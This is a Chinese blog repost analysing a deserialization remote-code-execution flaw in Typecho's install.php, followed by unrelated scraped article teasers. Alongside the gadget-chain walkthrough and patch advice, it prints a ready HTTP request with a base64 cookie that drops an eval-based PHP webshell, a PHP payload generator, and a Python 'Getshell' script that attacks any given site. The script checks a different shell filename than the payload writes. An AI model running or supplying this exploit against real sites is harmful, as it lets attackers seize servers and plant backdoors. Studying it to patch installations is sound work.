转载--Typecho install.php 反序列化导致任意代码执行

原文链接(http://p0sec.net/index.php/archives/114/)

0x00 前言

漏洞公布已经过去一段时间了,当时只是利用了一下,并没有进行深度分析,现转载文章以便以后查看。

听说了这个洞,吓得赶紧去看了一下自己的博客,发现自己中招了,赶紧删除install目录。

恶意代码的大致操作顺序:

  1. base64解码后反序列化cookie中传入的__typecho_config参数,
  2. 然后让__typecho_config作为构造参数例化一个Typecho_Db类,
  3. 接着通过POP链进行代码执行。

涉及到的文件还有类名

install.php(unserialize) – >  Db.php(class Typecho_Db)  – >  Feed.php (class Typecho_Feed) – >  Request.php (class Typecho_Request)

0x01 Payload

GET /typecho/install.php?finish=1 HTTP/1.1
Host: 192.168.211.169
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://192.168.211.169/typecho/install.php
Connection: close
Upgrade-Insecure-Requests: 1

便会在网站根目录下生产一句话p0.php,密码p0

0x02 反序列化可控点

install.php 288-235行

<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

第230行获取cookie中的__typecho_config值base64解码,然后反序列化。想要执行,只需isset($_GET['finish'])并且__typecho_config存在值。

反序列化后232行把$config['adapter']$config['prefix']传入Typecho_Db进行实例化。然后调用Typecho_DbaddServer方法,调用Typecho_Config实例化工厂函数对Typecho_Config类进行实例化。

0x03 反序列化触发点

全局搜索__destruct()__wakeup()

只发现了两处__destruct(),跟进去并没发现可利用的地方。

继续看Typecho_Db

构造方法,Db.php 114-135行

public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName; /** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
} $this->_prefix = $prefix; /** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array(); //实例化适配器对象
$this->_adapter = new $adapterName();
}

发现第120行对传入的$adapterName进行了字符串的拼接操作。那么如果$adapterName传入的是个实例化对象,就会触发该对象的__toString()魔术方法。

全局搜索__toString()

发现三处,跟进,第一个发现并没有可以直接利用的地方。

跟进Typecho_Query类的__toString()魔术方法,Query.php 488-519行:

public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
} return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

第492行$this->_adapter调用parseSelect()方法,如果该实例化对象在对象上下文中调用不可访问的方法时触发,便会触发__call()魔术方法。

全局搜索__call()

发现几处,挨个跟进发现Typecho_Plugin类的__call()魔术方法存在回调函数,Plugin.php 479-494行:

public function __call($component, $args)
{
$component = $this->_handle . ':' . $component;
$last = count($args);
$args[$last] = $last > 0 ? $args[0] : false; if (isset(self::$_plugins['handles'][$component])) {
$args[$last] = NULL;
$this->_signal = true;
foreach (self::$_plugins['handles'][$component] as $callback) {
$args[$last] = call_user_func_array($callback, $args);
}
} return $args[$last];
}

$component是调用失败的方法名,$args是调用时的参数。均可控,但是根据上文,$args必须存在array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。所以此路就不通了。

继续跟进Typecho_Feed类的__toString()魔术方法,Feed.php 340-360行

} else if (self::ATOM1 == $this->_type) {
$result .= '<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:thr="http://purl.org/syndication/thread/1.0"
xml:lang="' . $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL; $content = '';
$lastUpdate = 0; foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;

第358行$item['author']调用screenName属性,如果该实例化对象用于从不可访问的属性读取数据,便会触发__get()魔术方法。

全局搜索__get()

发现了几处,最终确定Typecho_Request类存在可利用的地方

__get()魔术方法调用get()方法,Request.php 293-309行:

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
} $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

308行调用_applyFilter()方法,传入的$value$this->_params[$key]的值,$key就是screenName

跟进_applyFilter(),Request.php 159-171行:

private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
} $this->_filter = array();
} return $value;
}

第163行array_map和164行call_user_func均可造成任意代码执行。

0x04 构造Payload

Payload  exp.php

<?php

class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array(); public function addItem(array $item){
$this->_items[] = $item;
}
} class Typecho_Request{
private $_params = array('screenName'=>'file_put_contents(\'p0.php\', \'<?php @eval($_POST[p0]);?>\')');
private $_filter = array('assert');
} $payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
?>

编写payload的简单思路:

最外层$exp是数组,数组中的’adapter’是Typecho_Feed的实例$payload1,
$payload1的构造参数是’ATOM 1.0’用于控制分支,
$payload2是Typecho_Request的实例,
private $_filter ,private $_params是传给call_user_func的参数,也就是通过assert写shell
然后$payload2通过additem添加到$payload的$_items的变量中
最后把$payload1添加到最外层的$exp数组中

Getshell  exp.py

import requests
import os if __name__ == '__main__':
print ''' ____ ____ _ _ _
| __ ) _ _ | _ \ __ _(_) || | _____ _____ _ __
| _ \| | | | | |_) / _` | | || |_ / _ \ \ / / _ \ '__|
| |_) | |_| | | _ < (_| | |__ _| (_) \ V / __/ |
|____/ \__, | |_| \_\__,_|_| |_| \___/ \_/ \___|_|
|___/
''' targert_url = 'http://www.xxxxxxxx.xyz'; rsp = requests.get(targert_url + "/install.php");
if rsp.status_code != 200:
exit('The attack failed and the problem file does not exist !!!')
else:
print 'You are lucky, the problem file exists, immediately attack !!!' proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } typecho_config = os.popen('php exp.php').read() headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config),
'Referer': targert_url} url = targert_url + "/install.php?finish=1" requests.get(url,headers=headers,allow_redirects=False) shell_url = targert_url + '/usr/themes/default/img/c.php'
if requests.get(shell_url).status_code == 200:
print 'shell_url: ' + shell_url
else:
print "Getshell Fail!"

0x05 修补方法

  • 官方已经发布了1.1Beta版本修复了该漏洞,升级该版本,链接:http://typecho.org/archives/133/
  • 也可以删除掉install.php和install目录。

 

注:代码仅用于学习研究,请勿用于非法用途恶意攻击,概不负责。

转载--Typecho install.php 反序列化导致任意代码执行的更多相关文章

  1. ref:CodeIgniter框架内核设计缺陷可能导致任意代码执行

    ref:https://www.seebug.org/vuldb/ssvid-96217 简要描述: 为准备乌云深圳沙龙,准备几个0day做案例. 官方承认这个问题,说明会发布补丁,但不愿承认这是个『 ...

  2. fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

    环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...

  3. 关于Fastjson 1.2.24 反序列化导致任意命令执行漏洞

    环境搭建: sudo apt install docker.io git clone https://github.com/vulhub/vulhub.git cd vulhub fastjson 1 ...

  4. fastjson 1.2.24 反序列化导致任意命令执行漏洞

    漏洞检测 区分 Fastjson 和 Jackson {"name":"S","age":21} 和 {"name":& ...

  5. Typecho V1.1反序列化导致代码执行分析

    0x00  前言     今天在Seebug的公众号看到了Typecho的一个前台getshell分析的文章,然后自己也想来学习一下.保持对行内的关注,了解最新的漏洞很重要. 0x01  什么是反序列 ...

  6. 帝国CMS(EmpireCMS) v7.5后台任意代码执行

    帝国CMS(EmpireCMS) v7.5后台任意代码执行 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行. 二 ...

  7. Apache Flink任意Jar包上传导致远程代码执行漏洞复现

    0x00 简介 Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎.Flink以数据并行和流水线方式执行任意流数据程序,Fl ...

  8. 「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现

    漏洞描述 Apache Flink是一个用于分布式流和批处理数据的开放源码平台.Flink的核心是一个流数据流引擎,它为数据流上的分布式计算提供数据分发.通信和容错功能.Flink在流引擎之上构建批处 ...

  9. [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行

    0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...

随机推荐

  1. iOS 11 & iPhone X 适配资料集

    本文主要简单谈谈并收集一些关于 iOS 11 & iPhone X 的适配及设计指南. iPhone X 众所周知,iPhone X 屏幕与其他的 iPhone 设备均不同,苹果称 iPhon ...

  2. 作为前端Web开发者,这12个终端命令不可不会

    对于开发人员来说,终端是最重要的工具之一.掌握终端,能够有效的提升开发人员的工作流程.使用终端,许多日常任务都被简化为了编写简单的命令并按下 Enter 按钮. 本文列举了一系列 Linux 命令,旨 ...

  3. win10 uwp 九幽图床

    本文主要是图片加水印自动上传,代码已经上传github. 图片加水印,我的方法,简单,一个好的方法是毒逆天大神的图片加水印方法或http://daily.zhihu.com/story/8812028 ...

  4. Linux 可运行进程 Runnable Process Definition

    From : http://www.linfo.org/runnable_process.html 一个可运行的进程是指该进程的进程状态为TASK_RUNNING. 进程,也可被称为任务,是指一个程序 ...

  5. STM32外部中断线编程

    #include "ExtiConfig.h" unsigned char key1Down = 0; unsigned char key2Down = 0; /********* ...

  6. javascript方法的方法名慎用close

    通常我们在定义了与window同名的方法时,会自动覆盖掉window同名的方法.close()方法也不例外.示例: <!DOCTYPE html PUBLIC "-//W3C//DTD ...

  7. V6厂最新V4版本卡地亚蓝气球大号42mm男表|价格报价|

    大家好!为大家带来一款贵族气质的V6厂卡地亚蓝气球大号42mm男表!众所周知卡地亚品牌给人的印象是非常尊贵.奢华的,而且卡地亚蓝气球系列的表款都有着极高的识别度,而且每一款都是极受欢迎的热门腕表,接下 ...

  8. web service实例

    一.准备工作(以下为本实例使用工具) 1.MyEclipse10.7.1 2.JDK 1.6.0_22 二.创建服务端 1.创建[Web Service Project],命名为[TheService ...

  9. Mac下如何安装JDK

    1.访问Oracle官网 http://www.oracle.com,浏览到首页的底部菜单 ,然后按下图提示操作: 2.点击"JDK DOWNLOAD"按钮: 3.选择" ...

  10. ES6新特性 Class的实现

    ES5之前类的继承是靠原型实现的,而这一过程的实现又涉及到一大堆的原型定义,特别是ES5推出了Object.definePorperty()方法后,代码更加晦涩.但是这种方式正是javascript这 ...